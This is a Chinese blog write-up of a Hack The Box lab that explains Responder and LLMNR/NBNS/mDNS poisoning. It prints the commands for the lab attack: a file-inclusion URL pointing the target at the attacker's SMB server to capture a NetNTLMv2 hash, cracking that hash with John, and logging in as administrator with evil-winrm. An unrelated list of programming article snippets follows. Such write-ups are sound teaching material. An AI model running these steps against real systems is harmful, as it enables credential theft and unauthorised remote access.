Responder

article/2025/9/13 23:26:27

在hack the box 最后一个sql注入题时,有这个工具的使用,之前没有接触过,看write up上是需要利用两个IP地址,似乎与内网渗透有关,马上查找相关资料,看到底是个什么东东。

什么是Responder

在攻防领域,欺骗从来都是技术热点区域,不管是攻守双方均会使用欺骗来进行技术上的对抗,对于防守方来说,蜜罐就是欺骗防御的代表安全产品,而对于攻击方来说,钓鱼网页、鱼叉附件等欺骗手段更是家常便饭。在内网攻防中,responder就是一个不得不说的工具。

Responder欺骗原理

基本协议LLMNR、NBNS、MDNS

在使用Responder之前,我们要先了解windwos默认开启的三种协议,这三种协议分别是链路本地多播名称解析(LLMNR、名称服务器(NBNS) 协议和多播DNS(mdns)协议

LLMNR

链路本地多播名称解析(LLMNR是一个基于域名系统(DNS)数据包格式的协议,IPv4和IPv6的主机可以通过此协议对同一本地链路上的主机执行名称解析。Windows 操作系统从 Windows Vista开始就内嵌支持,Linux系统也通过systemd实现了此协议。它通过UDP 5355端口进行通信,且LLMNR支持IPV6。

NBNS

网络基本输入/输出系统(NetBIOS) 名称服务器(NBNS) 协议是 TCP/IP 上的 NetBIOS (NetBT) 协议族的一部分,它在基于 NetBIOS 名称访问的网络上提供主机名和地址映射方法。通过UDP 137端口进行通信,但NBNS不支持IPV6。

mdns

在计算机网络中 , 多播DNS ( mDNS )协议将主机名解析为不包含本地名称服务器的小型网络中的IP地址。 它是一种零配置服务,使用与单播域名系统 (DNS)基本相同的编程接口,数据包格式和操作语义。 虽然Stuart Cheshire将mDNS设计为独立协议,但它可以与标准DNS服务器协同工作。它通过UDP 5353端口进行通信,且MDNS也支持IPV6。

目前仅有windows 10支持mdns,经测试发现,禁用了llmnr后mdns也会被禁用。

在题目情景下,网页存在文件包含漏洞,因此,存在着攻击者在工作站上包含文件的可能性,如果选择SMB这样的协议,Windows我们知道,此网页易受文件包含漏洞的攻击,并在Windows计算机上提供服务。因此,存在在攻击者工作站上包含文件的可能性。如果我们选择SMB这样的协议,Windows将尝试对我们的机器进行身份验证,我们可以捕获NetNTLMv2。

SMB协议:SMB(全称是Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口

内网渗透中smb服务(139,445端口)的利用方式

NTLM是由Microsoft创建的身份验证协议的集合。它是一种质询-响应身份验证协议,用于向Active Directory域上的资源验证客户端。
它是一种单点登录(SSO),因为它允许用户在登录时只提供一次底层身份验证因素。
NTLM身份验证过程按以下方式完成:

1.客户端将用户名和域名发送到服务器。
2.服务器生成一个随机字符串,称为挑战。
3.客户端使用用户密码的NTLM哈希对质询进行加密,并将其发送回服务器。
4.服务器检索用户密码(或等效密码)。
5.使用从服务器检索到的哈希值加密帐户。然后将该值与从客户端接收到的值进行比较。如果值匹配,则对客户端进行身份验证。

Responder的工作原理

工作流程

Responder程序可以执行多种不同类型的攻击,但在这种情况下,它将设置恶意SMB服务器。
当目标计算机尝试对该服务器执行NTLM身份验证时,Responder会向服务器发送一个challenge,要求服务器使用用户的密码进行加密。当服务器响应时,Responder将使用质询和加密响应生成NetNTLMv2。虽然我们无法逆转NetNTLMv2,但我们可以尝试使用许多不同的常用密码,看看是否有任何密码会生成相同的challenge响应,如果找到一个,我们就知道这就是密码。这通常被称为散列破解,我们将使用一个名为John The Ripper的程序来实现。

使用Responder之前需要查看Responder.conf配置文件,SMB的服务是否开启。

 配置文件就绪后,我们可以继续使用python3启动响应程序,通过-I标志传入接口以监听:

python Responder.py -I tun0

 在响应服务器就绪的情况下,我们通过web浏览器按如下方式设置页面参数,告诉服务器包含来自SMB服务器的资源。

http://unika.htb/?page=/10.10.14.7/somefile  #服务器端访问

监听得到

 将得到的hash值保存为hash.txt文件。

散列破解

将上述的hash值保存为hash.txt

我们将散列文件传递给john,并破解管理员帐户的密码。散列类型由john命令行工具自动识别:

-w : wordlist to use for cracking the hash

john -w=/usr/share/wordlists/rockyou.txt hash.txt

 得出关键信息:password:badminton

WinRM

Windows Remote Management或WinRM是Windows本机内置的远程管理协议,基本上使用简单的对象访问协议与远程计算机和服务器以及操作系统和应用程序进行交互。WinRM允许用户:

→ 与主机进行远程通信和接口

→ 在非本地但可通过网络访问的系统上远程执行命令。
→ 从远程位置监视、管理和配置服务器、操作系统和客户机。
作为pentester,这意味着如果我们能找到具有远程管理权限的用户的凭据(通常是用户名和密码),我们就有可能在主机上获得PowerShell外壳。

利用evil-winrm远程连接:

evil-winrm -i 10.129.136.91 -u administrator -p badminton

http://chatgpt.dhexx.cn/article/BodReEQX.shtml

相关文章

Reverse

IDA中文不显示解决 参考链接 VScode中文乱码解决参考链接 (1 ~ 10攻防世界)(11~20为Buu,近乎为shift F12查找字符串) 1. xxxorrr 题目链接 题目WP 心得:可能会有其它隐藏函数对所需结果进行操作 2. SignIn RSA算法介绍 c是密文,m是明文…

java中@Repeatable的理解

Repeatable是jdk8中新增的注解,使用如Spring中的ComponentScan注解。在没有Repeatable注解的的注解中,在同一个地方使用相同的注解会报错,有了此元注解注解的注解,就可以在同一个地方使用相同的注解。其官方文档如下 The annotati…

TS:解决docker无法启动,报:start request repeated too quickly for docker.service错误-2021.12.08(已解决)

目录 文章目录 目录1、报错现象2、解决办法3、总结关于我最后 1、报错现象 首先,我当前的环境是:docker 20.10.11,vmworkstation虚机 很奇怪,自己的docker用着用着就出现问题了,查看服务发现起不来,重启docker服务也…

【已解决】TF_REPEATED_DATA ignoring data with redundant timestamp for frame

目录 1 问题背景2 问题探索3 问题解决4 告别Bug 1 问题背景 环境:Ubuntu20.04 ROS-noetic 现象:打开Rviz与Gazebo加载机器人模型时,终端不停刷新警告TF_REPEATED_DATA ignoring data with redundant timestamp for frame,且在未施…

已解决(一分钟)TF_REPEATED_DATA ignoring data with redundant timestamp for frame base_footprint at time解决方案

<1>问题描述 前言-仿真实验需求&#xff1a;获取小车的全局坐标系下的位姿信息&#xff0c;因此使用gmapping建图&#xff0c;并使用地图服务调用发布&#xff0c;自己写了个节点将map坐标系添加到现有的TF树上&#xff0c;最终TF树见最后截图。 进入正题&#xff0c;想…

【Protocol Buffer】Protocol Buffer入门教程(五):repeated限定修饰符

00. 目录 文章目录 00. 目录01. 限定修饰符介绍02. 字段API分析03. 测试代码04. 编译和测试05. 参考 01. 限定修饰符介绍 repeated 代表可重复&#xff0c;我们可以理解为数组 syntax "proto3";//指定版本信息&#xff0c;不指定会报错message Person //message为…

protobuf入门教程(四):repeated限定修饰符

限定修饰符说明 repeated 代表可重复&#xff0c;我们可以理解为数组&#xff1a; syntax "proto3";//指定版本信息&#xff0c;不指定会报错message Person //message为关键字&#xff0c;作用为定义一种消息类型 {string name 1; //姓名int32 id 2; …

一个真·菜鸟理解的springmvc工作原理

1 springmvc的映射器和适配器 1.1springmvc的映射器 根据客户端请求的url&#xff0c;找到处理本次请求的handler&#xff08;处理器&#xff09;&#xff0c;将url和controller关联起来 1.2springmvc的适配器 对映射器查找到的controller中的方法进行调用。 第一种&#xff1…

【转】SpringMVC的工作原理图

SpringMVC的工作原理图&#xff1a; ##SpringMVC流程 1、 用户发送请求至前端控制器DispatcherServlet。 2、 DispatcherServlet收到请求调用HandlerMapping处理器映射器。 3、 处理器映射器找到具体的处理器(可以根据xml配置、注解进行查找)&#xff0c;生成处理器对象及处理…

SpringMVC工作原理及执行流程

一、SpringMVC简介 SpringMVC是一种基于Spring实现了Web MVC设计模式的请求驱动类型的轻量级Web框架&#xff0c;使用了MVC架构模式的思想&#xff0c;将web层进行职责解耦&#xff0c;并管理应用所需对象的生命周期&#xff0c;为简化日常开发&#xff0c;提供了很大便利。  …

SpringMVC工作原理图

1.用户发送请求至前端控制器DispatcherServlet(也叫中央处理器). 2.DispatcherServlet收到请求调用HandlerMappering处理器映射器 3.处理器映射器找到具体的处理器&#xff08;可以根据xml配置、注解进行查找&#xff09;&#xff0c;生成处理器对象及处理器拦截器&#xff08;…

servlet — SpringMVC工作原理

如下图&#xff0c;所有实线的部分都由 SpringMVC 框架实现&#xff0c;我们的代码只需要处理虚线的部分&#xff1a; 【总结】&#xff1a; DispatchServlet(请求分发器 / 前端控制器), 是SpringMVC的核心 1. 用户发起请求的时候调用前端控制器 DispatcherServlet&#xff1b…

SpringMVC 工作原理

0x00:请求流程图 首先,来看一下 SpringMVC 的整个请求流程,如下图: 0x01:步骤解析 SpringMVC 整体流程步骤解析: 1,用户去单击了某个请求路径,发起了一个 request 请求,这个请求会被 DispatcherServlet 前端控制器处理。 2,前端控制器 DispatcherServlet 去请求处…

SpringMVC工作原理nbsp;及注解说明

Spring MVC工作原理 及注解说明 SpringMVC框架介绍 1) spring MVC属于SpringFrameWork的后续产品&#xff0c;已经融合在SpringWeb Flow里面。 Spring框架提供了构建 Web 应用程序的全功能 MVC 模块。使用 Spring 可插入的MVC 架构&#xff0c;可以选择是使用内置的Spring Web …

SpringMVC工作原理的介绍

1.原理图&#xff1a; 2.流程文字介绍&#xff1a; 1.用户向服务器发送请求&#xff0c;请求被Spring前端控制Servlet DispatcherServlet捕获&#xff1b; 2.DispatcherServlet对请求UR进行解析&#xff0c;得到请求资源标识符&#xff08;URI&#xff09;。然后根据该URI&…

SpringMVC工作原理(1)

大家好&#xff0c;今天和大家分享SpringMVC的相关知识&#xff0c;主要是对SpringMVC的工作原理做一些分析。 SpringMVC的工作流程如下&#xff1a; 接下来我们先来对其中的组件以及相应的功能来做简单介绍&#xff1a; 组件&#xff1a; 1.DispatcherServlet DispatcherSer…

SpringMVC工作原理详解

SpringMVC工作原理详解 在学习之前&#xff0c;先来两张神图镇楼 什么是MVC 经典MVC模式中&#xff0c;M是指业务模型&#xff0c;V是指用户界面&#xff0c;C则是控制器&#xff0c;使用MVC的目的是将M和V的实现代码分离&#xff0c;从而使同一个程序可以使用不同的表现形式…

springMVC工作原理(含图)

SpringMVC流程 1、 用户发送请求至前端控制器DispatcherServlet。 2、 DispatcherServlet收到请求调用HandlerMapping处理器映射器。 3、 处理器映射器找到具体的处理器(可以根据xml配置、注解进行查找)&#xff0c;生成处理器对象及处理器拦截器(如果有则生成)一并返回给Dis…

理清SpringMVC工作原理

一、首先&#xff0c;我们先来认识一下SpringMVC的主要组件 前端控制器&#xff08;DisatcherServlet&#xff09;:接收请求&#xff0c;响应结果&#xff0c;返回可以是json,String等数据类型&#xff0c;也可以是页面&#xff08;Model&#xff09;。 处理器映射器&#xff0…

SpringMVC工作原理及源码解析

SpringMVC工作原理及源码解析 一&#xff1a;SpringMVC原理图二&#xff1a;SpringMVC的主要组件1、前端控制器DispatcherServlet&#xff1a;2、处理器映射器HandlerMapping&#xff1a;3、处理器适配器HandlerAdapter&#xff1a;4、处理器Handler&#xff1a;5、控制器Contr…